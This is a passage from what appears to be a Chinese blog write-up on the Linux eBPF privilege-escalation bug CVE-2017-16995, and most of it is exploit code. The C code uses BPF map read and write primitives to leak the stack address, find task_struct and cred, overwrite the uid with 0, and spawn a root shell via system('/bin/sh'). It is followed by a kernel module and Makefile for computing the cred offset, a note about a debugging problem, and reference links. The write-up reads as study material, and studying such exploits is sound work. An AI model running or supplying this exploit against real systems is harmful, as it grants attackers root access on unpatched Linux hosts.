	puts("socketpair finished");
	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)         //将socket和map绑定,完成准备工作
		__exit(strerror(errno));
	puts("setsockopt finished");
}

//
static void writemsg(void) {
	char buffer[64];

	ssize_t n = write(sockets[0], buffer, sizeof(buffer));

	if (n < 0) {
		perror("write");
		return;
	}
	if (n != sizeof(buffer))
		fprintf(stderr, "short write: %lu\n", n);
}

//用来执行已经设置好的三个功能,其中:a是放着指令号,分别对应着指令一二三,b和c分别放着操作数,0、1、2分别对应三块map
#define __update_elem(a, b, c) \
	bpf_update_elem(0, (a)); \
	bpf_update_elem(1, (b)); \
	bpf_update_elem(2, (c)); \
	writemsg();

//下面都是把__update_elem做了简单的封装
static uint64_t get_value(int key) {
	uint64_t value;

	if (bpf_lookup_elem(&key, &value))
		__exit(strerror(errno));

	return value;
}

static uint64_t __get_fp(void) {
	__update_elem(1, 0, 0);

	return get_value(2);
}

static uint64_t __read(uint64_t addr) {
	__update_elem(0, addr, 0);

	return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
	__update_elem(2, addr, val);
}
//计算task_struct的真实地址,泄露出来的栈地址,~是取反操作
static uint64_t get_sp(uint64_t addr) {
	return addr & ~(0x4000 - 1);
}

static void pwn(void) {
	uint64_t fp, sp, task_struct, credptr, uidptr;

	fp = __get_fp();
	if (fp < PHYS_OFFSET)                                          //1.使用指令一泄露栈地址
		__exit("bogus fp");
	
	sp = get_sp(fp);
	if (sp < PHYS_OFFSET)                                          //2.通过偏移地址,计算处真实的task_struct地址所在的地址
		__exit("bogus sp");
	
	task_struct = __read(sp);                                      //3.task_struct 指令一操作,在task_struct地址所在的地址处,取出task_struct的真实地址

	if (task_struct < PHYS_OFFSET)
		__exit("bogus task ptr");

	printf("task_struct = %lx\n", task_struct);

	credptr = __read(task_struct + CRED_OFFSET);                   //4.cred 指令一操作,在cred地址所在的地址处,取出cred的真实地址

	if (credptr < PHYS_OFFSET)
		__exit("bogus cred ptr");

	uidptr = credptr + UID_OFFSET;                                 //5.uid 指令一操作,在uid地址所在的地址处,取出uid的真实地址
	if (uidptr < PHYS_OFFSET)
		__exit("bogus uid ptr");

	printf("uidptr = %lx\n", uidptr);
	__write(uidptr, 0);                                            //6.指令三操作,将0写入uid中

	if (getuid() == 0) {
		printf("spawning root shell\n");
		system("id");
		system("/bin/sh");
		exit(0);
	}

	__exit("not vulnerable?");
}

int main(int argc, char **argv) {
	prep();
	pwn();

	return 0;
}

计算偏移可以用
Makefile:

obj-m += getCredOffset.o
 
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
         
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
        

c:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
    int init_module()

    {
        printk("[!]current cred offset:%x\n",(unsigned long)&(current->cred)-(unsigned long)current);
        return 0;
    }
    void cleanup_module()
    {
        printk("module cleanup\n");
    }

一些小问题

我不知道为什么不能把断点打在do_check函数上面,提示我找不到这个函数,我搜了一下vmlinux和kallsyms好像确实没有,搞了一下午加一晚上都不知道哪错了,但是rebeyond师傅和P4nda师傅都可以调,就很迷茫,所以动态调试还没有完成,需要下一次补上。。补上。。。。。师傅们如果可以的话,提点一下菜鸡怎么搞。拜托拜托!

参考资料

http://p4nda.top/2019/01/18/CVE-2017-16995/
https://www.cnblogs.com/cxchanpin/p/7161821.html
https://www.cnblogs.com/rebeyond/p/8603056.html
https://www.cnblogs.com/rebeyond/p/8921307.html
https://blog.csdn.net/ljy1988123/article/details/50818421

你可能感兴趣的:(linux_kernel)